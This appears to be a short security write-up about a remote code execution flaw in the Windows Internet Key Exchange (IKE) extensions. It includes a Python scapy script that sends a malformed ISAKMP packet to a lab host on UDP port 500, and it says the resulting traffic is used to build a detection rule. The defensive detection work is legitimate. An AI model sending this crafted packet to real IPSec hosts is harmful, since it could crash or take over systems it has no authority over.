Windows Internet Key Exchange (IKE) is used for Key Management in IPSec networks. Allowing automatic negotiation and creation of IPSec security associations between IPSec peers.
Microsoft Windows could allow a remote attacker to execute arbitrary code on the system, caused by a flaw in the Internet Key Exchange (IKE) Protocol Extensions component.
By sending a specially crafted IP packet to a Windows node where IPSec is enabled, an attacker could exploit this vulnerability to execute arbitrary code on the system.
from scapy.all import * from scapy.contrib.ikev2 import * from scapy.layers.isakmp import * import socket, time target = ("192.168.159.134", 500) sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) pkt = ISAKMP(init_cookie=RandString(8), next_payload=0x84, exch_type=0xf3) pkt /= ISAKMP_payload(next_payload=0x1, load=b"\x00\x00\x01\x7f") sock.sendto(raw(pkt), target)
By turning this into a traffic file and matching rule, we are able to detect attempts to perform remote code execution on an affected system.
